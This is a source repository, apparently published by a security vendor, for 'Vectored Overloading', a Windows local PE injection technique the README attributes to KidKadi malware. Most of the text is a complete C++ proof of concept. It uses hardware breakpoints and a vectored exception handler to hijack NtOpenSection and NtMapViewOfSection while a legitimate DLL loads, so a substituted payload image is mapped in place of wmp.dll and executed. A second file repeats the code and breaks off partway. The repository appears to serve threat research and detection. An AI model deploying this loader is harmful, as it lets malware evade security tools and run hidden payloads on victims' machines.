├── CODEOWNERS
├── manifest.json
├── VectoredOverloading.vcxproj.user
├── VectoredOverloading.vcxproj.filters
├── LICENSE
├── README.md
├── VectoredOverloading.sln
├── VectoredOverloading.vcxproj
├── VectoredOverloading.cpp
└── main.cpp
/CODEOWNERS:
--------------------------------------------------------------------------------
1 | # Global owner for everything
2 | * @chkp-elism
3 | # Code owner
4 | *.js @chkp-svenr
5 | package.json @chkp-svenr
6 | # LICENSE owner
7 | LICENSE @chkp-liavt
8 |
--------------------------------------------------------------------------------
/manifest.json:
--------------------------------------------------------------------------------
1 |
2 | {
3 | "manifest_version": 1,
4 | "name": "VectorOverloading",
5 | "version": "1.0",
6 | "description": "Vectored Overloading is a local PE injection technique",
7 | }
8 |
--------------------------------------------------------------------------------
/VectoredOverloading.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/VectoredOverloading.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 Check Point Software Technologies Ltd.
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # VectoredOverloading
2 |
3 | Vectored Overloading is a local PE injection technique that was first observed in the *KidKadi* malware.
4 |
5 | It works by manipulating the load of a legitimate DLL using Hardware Breakpoints (HWBP) and Vectored Exception Handling (VEH) to change the DLL section object on-the-fly.
6 |
7 | Essentially, the technique does the following:
8 |
9 | * Creates a `SEC_IMAGE` mapping from a legitimate DLL (e.g. `wmp.dll`)
10 | * Maps a payload PE over this image memory
11 | * Sets its entrypoint to `0` and forces the `DLL` flag in the `FileHeader->Characteristics` field
12 | * Sets a HWBP on `NtOpenSection` & loads any legitimate DLL
13 | * When the Windows loader calls `NtOpenSection`, the VEH emulates the syscall by skipping it and replacing the `OUT` parameters, so that section object is now that of the payload. The VEH also sets a new HWBP on `NtMapViewOfSection`
14 | * The loader tries to map the section into memory and then triggers the VEH on `NtMapViewOfSection`
15 | * The VEH replaces the `OUT` parameters of the syscall and skips its execution, emulating a mapping of the malicious PE's view
16 | * The loading proceeds and the Windows loader now takes care of handling imports and further processing of the malicious PE image
17 | * The entrypoint is invoked, executing the payload
18 |
19 | For a more detailed analysis, please refer to our blogpost:
20 |
--------------------------------------------------------------------------------
/VectoredOverloading.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.36429.23 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VectoredOverloading", "VectoredOverloading.vcxproj", "{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.ActiveCfg = Debug|x64
17 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.Build.0 = Debug|x64
18 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.ActiveCfg = Debug|Win32
19 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.Build.0 = Debug|Win32
20 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.ActiveCfg = Release|x64
21 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.Build.0 = Release|x64
22 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.ActiveCfg = Release|Win32
23 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {5551E9BB-ED31-48B9-8057-1CE8FD010B60}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/VectoredOverloading.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {b6eb6c3e-7aef-4c18-84ea-b75bb64e5df1}
25 | VectoredOverloading
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 |
98 |
99 |
100 |
101 | Level3
102 | true
103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 |
110 |
111 |
112 |
113 | Level3
114 | true
115 | true
116 | true
117 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
--------------------------------------------------------------------------------
/VectoredOverloading.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #if defined(_WIN32) && !defined(_WIN64)
7 | #error This project must be compiled as 64-bit (x64). 32-bit build is not supported.
8 | #endif
9 |
10 | #define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)
11 | #define DR_TYPE UINT64
12 |
13 | typedef enum _SECTION_INHERIT
14 | {
15 | ViewShare = 1,
16 | ViewUnmap = 2
17 | } SECTION_INHERIT;
18 |
19 | #pragma comment(lib, "ntdll.lib")
20 |
21 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
22 |
23 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);
24 |
25 | EXTERN_C NTSYSAPI NTSTATUS NTAPI
26 | NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
27 |
28 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(
29 | HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect
30 | );
31 |
32 | enum LdrState
33 | {
34 | StateOpenSection = 0,
35 | StateMapViewOfSection,
36 | StateClose
37 | };
38 |
39 | // ---------------------------------------------------------------------------------------------------
40 |
41 | LdrState gLdrState = LdrState::StateOpenSection;
42 | SIZE_T gViewSize = 0;
43 | PVOID gBaseAddress = NULL;
44 | HANDLE gSectionHandle = NULL;
45 |
46 | BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
47 | {
48 | if (ctx)
49 | {
50 | ctx->Dr7 = 1LL;
51 | ctx->Dr0 = (DWORD64)address;
52 | NtContinue(ctx, FALSE);
53 | }
54 | else
55 | {
56 | // Default to current thread if no context was given
57 | CONTEXT context = { 0 };
58 | context.ContextFlags = CTX_FLAGS;
59 |
60 | HANDLE hThread = GetCurrentThread();
61 |
62 | if (!GetThreadContext(hThread, &context))
63 | return FALSE;
64 |
65 | context.Dr7 = 1;
66 | context.Dr0 = (DWORD64)address;
67 |
68 | if (!SetThreadContext(hThread, &context))
69 | return FALSE;
70 | }
71 | return TRUE;
72 | }
73 |
74 | LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo)
75 | {
76 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
77 | {
78 | CONTEXT* ctx = ExceptionInfo->ContextRecord;
79 |
80 | switch (gLdrState)
81 | {
82 | case LdrState::StateOpenSection:
83 | {
84 | printf("[*] gLdrState == LdrState::StateOpenSection\r\n");
85 |
86 | // Overwrite OUT handle
87 | *(PHANDLE)ctx->Rcx = gSectionHandle;
88 |
89 | // Skip syscall
90 | ctx->Rax = 0;
91 | BYTE* rip = (BYTE*)ctx->Rip;
92 | while (*rip != 0xC3) ++rip;
93 | ctx->Rip = (ULONG_PTR)(rip);
94 |
95 | // Advance state and set next HWBP
96 | gLdrState = LdrState::StateMapViewOfSection;
97 | SetHardwareBreakpoint(NtMapViewOfSection, ctx);
98 | NtContinue(ctx, FALSE);
99 | return EXCEPTION_CONTINUE_EXECUTION;
100 | }
101 | break;
102 |
103 | case LdrState::StateMapViewOfSection:
104 | {
105 | printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n");
106 | if ((HANDLE)ctx->Rcx != gSectionHandle)
107 | return EXCEPTION_CONTINUE_EXECUTION;
108 | printf(" Section handle is ours\r\n");
109 |
110 | // Replace OUT parameters
111 | PVOID* baseAddrPtr = (PVOID*)ctx->R8;
112 | PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
113 | ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
114 | ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
115 |
116 | if (baseAddrPtr)
117 | *baseAddrPtr = gBaseAddress;
118 | if (viewSizePtr)
119 | *viewSizePtr = gViewSize;
120 |
121 | *allocTypePtr = 0;
122 | *protectPtr = PAGE_EXECUTE_READWRITE;
123 |
124 | // Skip syscall
125 | ctx->Rax = 0;
126 | BYTE* rip = (BYTE*)ctx->Rip;
127 | while (*rip != 0xC3) ++rip;
128 | ctx->Rip = (ULONG_PTR)(rip);
129 |
130 | // Unset HWBP
131 | ctx->Dr0 = 0LL;
132 | ctx->Dr1 = 0LL;
133 | ctx->Dr2 = 0LL;
134 | ctx->Dr3 = 0LL;
135 | ctx->Dr6 = 0LL;
136 | ctx->Dr7 = 0LL;
137 | ctx->EFlags |= 0x10000u;
138 |
139 | NtContinue(ctx, FALSE);
140 | return EXCEPTION_CONTINUE_EXECUTION;
141 | break;
142 | }
143 | }
144 |
145 | NtContinue(ctx, FALSE);
146 | return EXCEPTION_CONTINUE_EXECUTION;
147 | }
148 | }
149 |
150 | BOOL
151 | ApplyRelocations(
152 | PBYTE base,
153 | SIZE_T imageSize,
154 | ULONGLONG newBase,
155 | ULONGLONG oldBase
156 | )
157 | {
158 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
159 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
160 |
161 | ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;
162 | if (!delta)
163 | return TRUE;
164 |
165 | IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
166 | if (!relocDir.VirtualAddress || !relocDir.Size)
167 | return TRUE;
168 |
169 | SIZE_T processed = 0;
170 | PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);
171 |
172 | while (processed < relocDir.Size && block->SizeOfBlock)
173 | {
174 | DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
175 | WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION));
176 |
177 | for (DWORD i = 0; i < count; i++, entry++)
178 | {
179 | WORD type = *entry >> 12;
180 | WORD offset = *entry & 0xFFF;
181 | BYTE* patchAddr = base + block->VirtualAddress + offset;
182 |
183 | if (type == IMAGE_REL_BASED_HIGHLOW)
184 | *(DWORD*)patchAddr += (DWORD)delta;
185 | else if (type == IMAGE_REL_BASED_DIR64)
186 | *(ULONGLONG*)patchAddr += delta;
187 | }
188 | processed += block->SizeOfBlock;
189 | block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);
190 | }
191 | return TRUE;
192 | }
193 |
194 | BOOL
195 | CopyImageSections(
196 | PBYTE sourceBuffer,
197 | PVOID baseAddress,
198 | SIZE_T viewSize
199 | )
200 | {
201 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;
202 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);
203 |
204 | // Copy headers
205 | SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
206 | memcpy(baseAddress, sourceBuffer, headersSize);
207 |
208 | // Copy sections
209 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
210 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
211 | {
212 | if (sec->SizeOfRawData == 0)
213 | continue;
214 |
215 | BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;
216 | BYTE* src = sourceBuffer + sec->PointerToRawData;
217 | SIZE_T size = sec->SizeOfRawData;
218 |
219 | if ((sec->VirtualAddress + size) > viewSize)
220 | size = viewSize - sec->VirtualAddress;
221 |
222 | memcpy(dst, src, size);
223 | }
224 | return TRUE;
225 | }
226 |
227 | BOOL
228 | ApplySectionProtections(
229 | PVOID baseAddress
230 | )
231 | {
232 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;
233 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);
234 |
235 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
236 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
237 | {
238 | DWORD protect;
239 | DWORD old;
240 |
241 | if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)
242 | {
243 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
244 | protect = PAGE_EXECUTE_READWRITE;
245 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
246 | protect = PAGE_EXECUTE_READ;
247 | else
248 | protect = PAGE_EXECUTE;
249 | }
250 | else
251 | {
252 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
253 | protect = PAGE_READWRITE;
254 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
255 | protect = PAGE_READONLY;
256 | else
257 | protect = PAGE_NOACCESS;
258 | }
259 |
260 | PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;
261 | SIZE_T size = sec->Misc.VirtualSize;
262 | if (!size)
263 | size = sec->SizeOfRawData;
264 |
265 | VirtualProtect(addr, size, protect, &old);
266 | }
267 | return TRUE;
268 | }
269 |
270 | int
271 | main()
272 | {
273 | DWORD oldProt;
274 | DWORD bytesRead;
275 |
276 | // Read PE to inject (calc.exe) into buffer
277 | HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
278 | if (hCalc == INVALID_HANDLE_VALUE)
279 | {
280 | printf("[-] Failed to open calc.exe\n");
281 | return 1;
282 | }
283 | DWORD fileSize = GetFileSize(hCalc, NULL);
284 | BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
285 | ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
286 | CloseHandle(hCalc);
287 |
288 | // Parse headers of PE to inject
289 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;
290 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);
291 |
292 | // Force DLL characteristics and zero out entrypoint
293 | DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
294 | if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
295 | {
296 | nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;
297 | nt->OptionalHeader.AddressOfEntryPoint = 0;
298 | }
299 |
300 | // Create SEC_IMAGE section from wmp.dll
301 | HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
302 | if (hWmp == INVALID_HANDLE_VALUE)
303 | {
304 | printf("[-] Failed to open wmp.dll\n");
305 | return 1;
306 | }
307 |
308 | NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
309 | CloseHandle(hWmp);
310 | if (status < 0)
311 | {
312 | printf("[-] NtCreateSection failed: 0x%08X\n", status);
313 | return 1;
314 | }
315 |
316 | status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
317 | if (status < 0)
318 | {
319 | printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
320 | return 1;
321 | }
322 |
323 | // Make headers and image of wmp.dll writeable and wipe it
324 | VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
325 | memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
326 |
327 | // Copy headers and sections from PE to inject into the section
328 | CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
329 | HeapFree(GetProcessHeap(), 0, pTargetPeBuf);
330 |
331 | // Apply relocations & section protections
332 | ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
333 | ApplySectionProtections(gBaseAddress);
334 |
335 | printf("[*] Section ready:\n");
336 | printf(" BaseAddress = %p\n", gBaseAddress);
337 | printf(" ViewSize = %zu\n", gViewSize);
338 | printf(" Section = %p\n", gSectionHandle);
339 |
340 | // Register VEH and set HWBP
341 | PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
342 | SetHardwareBreakpoint(NtOpenSection, NULL);
343 |
344 | // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow
345 | HMODULE base = LoadLibraryW(L"amsi.dll");
346 | if (!base)
347 | {
348 | printf("[-] Failed to load library\n");
349 | return 1;
350 | }
351 | printf("[*] Loaded at 0x%llx\r\n", base);
352 | RemoveVectoredExceptionHandler(InjectHandler);
353 |
354 | // Invoke entrypoint
355 | PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
356 | printf("[*] Jumping to entrypoint at %p\n", entryPoint);
357 | ((void (*)())entryPoint)();
358 | return 0;
359 | }
--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #if defined(_WIN32) && !defined(_WIN64)
7 | #error This project must be compiled as 64-bit (x64). 32-bit build is not supported.
8 | #endif
9 |
10 | #define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)
11 | #define DR_TYPE UINT64
12 |
13 | typedef enum _SECTION_INHERIT
14 | {
15 | ViewShare = 1,
16 | ViewUnmap = 2
17 | } SECTION_INHERIT;
18 |
19 | #pragma comment(lib, "ntdll.lib")
20 |
21 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
22 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);
23 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
24 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
25 |
26 | enum LdrState
27 | {
28 | StateOpenSection = 0,
29 | StateMapViewOfSection,
30 | StateClose
31 | };
32 |
33 | // ---------------------------------------------------------------------------------------------------
34 |
35 | LdrState gLdrState = LdrState::StateOpenSection;
36 | SIZE_T gViewSize = 0;
37 | PVOID gBaseAddress = NULL;
38 | HANDLE gSectionHandle = NULL;
39 |
40 | BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
41 | {
42 | if (ctx)
43 | {
44 | ctx->Dr7 = 1LL;
45 | ctx->Dr0 = (DWORD64)address;
46 | NtContinue(ctx, FALSE);
47 | }
48 | else
49 | {
50 | // Default to current thread if no context was given
51 | CONTEXT context = { 0 };
52 | context.ContextFlags = CTX_FLAGS;
53 |
54 | HANDLE hThread = GetCurrentThread();
55 |
56 | if (!GetThreadContext(hThread, &context))
57 | return FALSE;
58 |
59 | context.Dr7 = 1;
60 | context.Dr0 = (DWORD64)address;
61 |
62 | if (!SetThreadContext(hThread, &context))
63 | return FALSE;
64 | }
65 | return TRUE;
66 | }
67 |
68 | LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo)
69 | {
70 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
71 | {
72 | CONTEXT* ctx = ExceptionInfo->ContextRecord;
73 |
74 | switch (gLdrState)
75 | {
76 | case LdrState::StateOpenSection:
77 | {
78 | printf("[*] gLdrState == LdrState::StateOpenSection\r\n");
79 |
80 | // Overwrite OUT handle
81 | *(PHANDLE)ctx->Rcx = gSectionHandle;
82 |
83 | // Skip syscall
84 | ctx->Rax = 0;
85 | BYTE* rip = (BYTE*)ctx->Rip;
86 | while (*rip != 0xC3) ++rip;
87 | ctx->Rip = (ULONG_PTR)(rip);
88 |
89 | // Advance state and set next HWBP
90 | gLdrState = LdrState::StateMapViewOfSection;
91 | SetHardwareBreakpoint(NtMapViewOfSection, ctx);
92 | NtContinue(ctx, FALSE);
93 | return EXCEPTION_CONTINUE_EXECUTION;
94 | }
95 | break;
96 |
97 | case LdrState::StateMapViewOfSection:
98 | {
99 | printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n");
100 | if ((HANDLE)ctx->Rcx != gSectionHandle)
101 | return EXCEPTION_CONTINUE_EXECUTION;
102 | printf(" Section handle is ours\r\n");
103 |
104 | // Replace OUT parameters
105 | PVOID* baseAddrPtr = (PVOID*)ctx->R8;
106 | PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
107 | ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
108 | ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
109 |
110 | if (baseAddrPtr)
111 | *baseAddrPtr = gBaseAddress;
112 | if (viewSizePtr)
113 | *viewSizePtr = gViewSize;
114 |
115 | *allocTypePtr = 0;
116 | *protectPtr = PAGE_EXECUTE_READWRITE;
117 |
118 | // Skip syscall
119 | ctx->Rax = 0;
120 | BYTE* rip = (BYTE*)ctx->Rip;
121 | while (*rip != 0xC3) ++rip;
122 | ctx->Rip = (ULONG_PTR)(rip);
123 |
124 | // Unset HWBP
125 | ctx->Dr0 = 0LL;
126 | ctx->Dr1 = 0LL;
127 | ctx->Dr2 = 0LL;
128 | ctx->Dr3 = 0LL;
129 | ctx->Dr6 = 0LL;
130 | ctx->Dr7 = 0LL;
131 | ctx->EFlags |= 0x10000u;
132 |
133 | NtContinue(ctx, FALSE);
134 | return EXCEPTION_CONTINUE_EXECUTION;
135 | break;
136 | }
137 | }
138 |
139 | NtContinue(ctx, FALSE);
140 | return EXCEPTION_CONTINUE_EXECUTION;
141 | }
142 | }
143 |
144 | BOOL
145 | ApplyRelocations(
146 | PBYTE base,
147 | SIZE_T imageSize,
148 | ULONGLONG newBase,
149 | ULONGLONG oldBase
150 | )
151 | {
152 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
153 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
154 |
155 | ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;
156 | if (!delta)
157 | return TRUE;
158 |
159 | IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
160 | if (!relocDir.VirtualAddress || !relocDir.Size)
161 | return TRUE;
162 |
163 | SIZE_T processed = 0;
164 | PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);
165 |
166 | while (processed < relocDir.Size && block->SizeOfBlock)
167 | {
168 | DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
169 | WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION));
170 |
171 | for (DWORD i = 0; i < count; i++, entry++)
172 | {
173 | WORD type = *entry >> 12;
174 | WORD offset = *entry & 0xFFF;
175 | BYTE* patchAddr = base + block->VirtualAddress + offset;
176 |
177 | if (type == IMAGE_REL_BASED_HIGHLOW)
178 | *(DWORD*)patchAddr += (DWORD)delta;
179 | else if (type == IMAGE_REL_BASED_DIR64)
180 | *(ULONGLONG*)patchAddr += delta;
181 | }
182 | processed += block->SizeOfBlock;
183 | block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);
184 | }
185 | return TRUE;
186 | }
187 |
188 | BOOL
189 | CopyImageSections(
190 | PBYTE sourceBuffer,
191 | PVOID baseAddress,
192 | SIZE_T viewSize
193 | )
194 | {
195 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;
196 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);
197 |
198 | // Copy headers
199 | SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
200 | memcpy(baseAddress, sourceBuffer, headersSize);
201 |
202 | // Copy sections
203 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
204 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
205 | {
206 | if (sec->SizeOfRawData == 0)
207 | continue;
208 |
209 | BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;
210 | BYTE* src = sourceBuffer + sec->PointerToRawData;
211 | SIZE_T size = sec->SizeOfRawData;
212 |
213 | if ((sec->VirtualAddress + size) > viewSize)
214 | size = viewSize - sec->VirtualAddress;
215 |
216 | memcpy(dst, src, size);
217 | }
218 | return TRUE;
219 | }
220 |
221 | BOOL
222 | ApplySectionProtections(
223 | PVOID baseAddress
224 | )
225 | {
